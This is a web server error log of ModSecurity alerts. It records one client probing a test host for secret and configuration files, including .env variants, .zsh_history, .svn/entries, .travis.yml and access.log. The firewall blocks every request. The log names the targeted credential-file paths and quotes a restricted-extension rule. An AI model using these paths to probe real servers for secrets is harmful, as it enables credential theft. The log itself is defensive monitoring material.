[Sun Mar 22 01:06:10.248248 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGgAAAAg&quot;]
[Sun Mar 22 01:06:10.248449 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.svn/entries&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGgAAAAg&quot;]
[Sun Mar 22 01:06:10.270935 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.travis.yml&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .travis.yml found within REQUEST_FILENAME: /.travis.yml&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGwAAAAg&quot;]
[Sun Mar 22 01:06:10.271206 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGwAAAAg&quot;]
[Sun Mar 22 01:06:10.271391 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.travis.yml&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFGwAAAAg&quot;]
[Sun Mar 22 01:06:10.293578 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFHAAAAAg&quot;]
[Sun Mar 22 01:06:10.293794 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFHAAAAAg&quot;]
[Sun Mar 22 01:06:10.293950 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFHAAAAAg&quot;]
[Sun Mar 22 01:06:10.429867 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;.zsh_history&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .zsh_history found within REQUEST_FILENAME: /.zsh_history&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFIgAAAAg&quot;]
[Sun Mar 22 01:06:10.430067 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFIgAAAAg&quot;]
[Sun Mar 22 01:06:10.430212 2026] [:error] [pid 2857388] [client 185.177.72.38:45094] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.zsh_history&quot;] [unique_id &quot;ab8ycrvc1sKRk16HHKMFIgAAAAg&quot;]
[Sun Mar 22 01:06:11.228982 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViDgAAAAc&quot;]
[Sun Mar 22 01:06:11.229547 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViDgAAAAc&quot;]
[Sun Mar 22 01:06:11.229735 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/access.log&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViDgAAAAc&quot;]
[Sun Mar 22 01:06:11.320836 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEgAAAAc&quot;]
[Sun Mar 22 01:06:11.321043 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEgAAAAc&quot;]
[Sun Mar 22 01:06:11.321171 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEgAAAAc&quot;]
[Sun Mar 22 01:06:11.343148 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEwAAAAc&quot;]
[Sun Mar 22 01:06:11.343376 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEwAAAAc&quot;]
[Sun Mar 22 01:06:11.343567 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEwAAAAc&quot;]
[Sun Mar 22 01:06:11.343694 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.bak&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViEwAAAAc&quot;]
[Sun Mar 22 01:06:11.365932 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.local&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFAAAAAc&quot;]
[Sun Mar 22 01:06:11.366126 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.local&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFAAAAAc&quot;]
[Sun Mar 22 01:06:11.366256 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.local&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFAAAAAc&quot;]
[Sun Mar 22 01:06:11.388250 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFQAAAAc&quot;]
[Sun Mar 22 01:06:11.388482 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFQAAAAc&quot;]
[Sun Mar 22 01:06:11.388665 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 10)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFQAAAAc&quot;]
[Sun Mar 22 01:06:11.388790 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.old&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFQAAAAc&quot;]
[Sun Mar 22 01:06:11.412228 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFgAAAAc&quot;]
[Sun Mar 22 01:06:11.412420 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFgAAAAc&quot;]
[Sun Mar 22 01:06:11.412543 2026] [:error] [pid 2857387] [client 185.177.72.38:45096] [client 185.177.72.38] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env.save&quot;] [unique_id &quot;ab8yc79QSbN48bnz2xViFgAAAAc&quot;]
